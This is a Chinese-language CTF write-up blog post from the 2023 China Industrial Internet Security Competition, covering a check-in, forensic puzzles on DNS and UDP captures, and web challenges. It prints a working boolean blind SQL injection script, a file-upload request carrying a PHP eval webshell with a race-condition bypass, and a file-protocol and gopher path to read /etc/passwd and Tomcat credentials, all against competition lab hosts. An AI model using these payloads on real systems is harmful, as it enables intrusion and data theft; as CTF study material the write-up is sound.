2023中国工业互联网安全大赛wp

前言

这次比赛伴随着大学生涯的落幕,因为本人太菜了,所以赛前准备的工控软件基本没怎么用到,比赛的时候主要还是以CTF解题为主
PS:感谢队友和指导老师一路带我打比赛

部分wp

wp需要比赛的时候提交,赛后不能复现,所以写的有点草率,各位师傅见谅~

checkin

签到题,base64解密即可
在这里插入图片描述
flag{W3lc0m6_CH3cK_1N}

Ssqqll

给了一个登入页面
在这里插入图片描述
通过源码可以得到secret.php的提示信息如下:

username is number
flag in ei29fs9vcsafd3s

这里应该是说username必须是数据,同时给出了flag的表名,我们判断注入点为username ,尝试进行注入,发现过滤了空格和form or and等等,但是> = <没有过滤,所以可以进行bool盲注,条件成立和条件不成立时将返回不一样的页面提示信息,这里直接搬出队友的脚本

import requests
import time
url="http://172.16.9.37:9005/"
flag=""
chars="qwertyuiopasdfghjklzxcvbnm1234567890{},;_+"

for i in range(0,100):
    l=32
    r=128
    while(l<r):
        mid=(l+r+1)//2
        payload="(%d>ascii(substr((select(flag)from(ei29fs9vcsafd3s)),%d,1)))"%(mid,i)
        post_data={
    
    "username":payload,"password":"sd"}
        res=requests.post(url,data=post_data)
        #print(res.text)
        if "flag" in res.text:
            r=mid-1
        else:
            l=mid
        time.sleep(0.05)
    print(i,chr(r))
    flag+=chr(r)
    print(flag)

print("flag: "+flag)

跑一下即可得到flag

DNS_Query

打开压缩包,发现了大量的DNS请求,且非常有规律
在这里插入图片描述
按照时间顺序把所有的二进制数据保存下来,可以发现是一个29*29的矩阵,仔细看的话可以看出二维码的定位符
在这里插入图片描述
通过下面的脚本进行处理,可以得到二维码图片

from PIL import Image
MAX = 29
pic = Image.new("RGB",(MAX, MAX))
str='1111111010011110010010111111110000010011001100001101000001101110100010111100111010111011011101000001100011010101110110111010010100100011001011101100000100010110001001010000011111111010101010101010111111100000000101101101001000000000110110100111000101011010000011101110111001001101110011110001100111001101110110110011000101010010111101111001100110111111001111011011001101110001110001101010001010000101111001011010111111111100011001001011100110111110011101001111010110001110100001111001110001001111000001111101111110101100001101101110010111011101111000111011101101011100000000000101111100110000101001011111111010000000010100101101110001010011111110001010010101101011100100000100100001001001000100001011101011100111001111111001010111010111010110111100101001101110100100001100010000100111000001010101111100101111110111111110110110010000100010000'
i=0
for y in range (0,MAX):
    for x in range (0,MAX):
        if(str[i] == '1'):
            pic.putpixel([x,y],(0, 0, 0))
        else:
            pic.putpixel([x,y],(255,255,255))
        i = i+1
pic.show()
pic.save("flag.png")

接下来用二维码扫描工具扫描即可得到flag
在这里插入图片描述
flag{3a9e87ec-0507-45d4-a4ae-c493254ab340}

hellofromspace

题目给出了一个流量包和一张图片
在这里插入图片描述
打开流量包,可以看到基本都是UDP协议,追踪UDP流,可以看到文件名flag_part1.txt和flag_part2.png且能够发现PNG文件头特征
在这里插入图片描述
过滤一下方向可以看到flag_part1,flag{c0ee07da-246d
在这里插入图片描述
接下来尝试处理flag_part2.png图像,首先找到PNG文件头,可以发现整个数据流中只有一个PNG文件头
在这里插入图片描述
但是由于图片文件是分段进行传输的,数据块前面的3010040002030100000000这样一段22位数字的含义我们并不清楚,但是我们可以发现规律,每一段UDP响应数据都由301004开头的22位数字+PNG数据组成,并且其中倒数第4和第5位以16进制的方式记录了这个包的顺序,例如:
第一个数据块开头3010040002030100000000+PNG第一个数据段
第二个数据块开头3010040002030100001000+PNG第二个数据段
第三个数据块开头3010040002030100002000+PNG第三个数据段

但是这里需要注意是的最后一个数据快的开头不知道是什么原因有点不太一样,变成了3006b8开头
在这里插入图片描述
但是经过检查之后发现只有最后这个数据块的开头不一样,所以可以把所有的数据复制到一个1.txt中,同时手动把最后一个块的开头改为301004,用下面的脚本进行处理

import re
f=open('1.txt','r')
res=''
for line in f.readlines():
	line=line.strip()
	if '30100400020301' in line:
		res+=line[22:]

f.close()
fpng=open('res.txt','w')
fpng.write(res)
fpng.close()

最后可以得到PNG的全部16进制数据
在这里插入图片描述
用winhex把这些数据保存为1.png,可以发现我们得到了和original.png长的一模一样的图片
在这里插入图片描述
这里的思路应该是用盲水印工具进行处理,但是我试了几个脚本都没有解出来,一气之下只好自己写了个脚本,对比这两张图片的不同

import cv2

img1=cv2.imread('1.png')
img2=cv2.imread('original.png')

img1_gray=cv2.cvtColor(img1, cv2.COLOR_RGB2GRAY)
img2_gray=cv2.cvtColor(img2, cv2.COLOR_RGB2GRAY)

h1,w1 = img1_gray.shape
h2,w2 = img2_gray.shape

# print(h1,w1)
# print(h2,w2)

if h1==h2 and w1==w2:
	for i in range(h1):
		for j in range(w1):
			if img1_gray[i][j] == img2_gray[i][j]:
				img1_gray[i][j] = 0
			else:
				img1_gray[i][j] = 255

cv2.imwrite('flag.png',img1_gray)

最终得到的flag.png如下
在这里插入图片描述
最终得到了flag的第二部分,合起来就是flag了

runinroot

这题没写出来~
题目给了一个文件上传界面,不允许传php,通过修改Content-Type参数即可绕过,上传请求包如下

POST /index.php HTTP/1.1
Host: 172.16.9.37:9004
Content-Length: 307
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.16.9.37:9004
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryidJ76ZbYvWssmn22
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://172.16.9.37:9004/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryidJ76ZbYvWssmn22
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/png

<?php eval($_POST['a']);?>
------WebKitFormBoundaryidJ76ZbYvWssmn22
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundaryidJ76ZbYvWssmn22--

上传之后会给文件路径,而且文件名应该是依据MD5给出的,文件内容不变时文件名也不会变化,但是上传之后发现php文件很快被删除了,于是可以用Burp做竞争,重放请求包就可以用蚁剑连接了
连上webshell之后可以看到根目录下的flag文件,但是没有找到提权利用的方式,各位师傅如果看到了wp麻烦评论区dd我一下

ezCat

这题也没写出来,但是知道一个大致的思路,无图警告
文件包含的考题,利用file协议可以读/etc/passwd,之后本来想读日志但是没有找到日志文件的路径,然后可以读到/var/www/ctf/image.php文件,就可以得到image.php文件的源码,从源码可以看到只允许http/https,file,gopher协议,通过读取历史命令可以看到一个tomcat的运行操作,并且读取http://127.0.0.1:8080端口可以看到tomcat界面,利用file协议可以在tomcat配置文件下面读取到tomcat的账户名和密码,赛场上没写出来
赛后交流的时候听说一种思路是利用gopher协议登入tomcat,然后传马获取webshell,之后才能得到flag,呜呜,不知道有没有师傅复现成功了的~

资源分享

赛前准备了很多工控的工具,像isf,西门子、组态王、欧姆龙、力控等等,结果比赛的时候没有用上,就去看了一下化工的那个场景题,大学毕业了之后不知道有没有机会参加这类比赛了,后续考虑会把资源分享一下吧

后记

大四毕业了,大学期间最后一场比赛也结束了,四年过去不管自己是不是依旧很菜,都应该跟四年期间一路同行的队友和指导老师致谢。
感谢一路以来帮助过我的所有人,感谢指导老师带我们打了这么多比赛,感谢一路以来共同成长的小伙伴~

猜你喜欢

转载自blog.csdn.net/monster663/article/details/131597058
今日推荐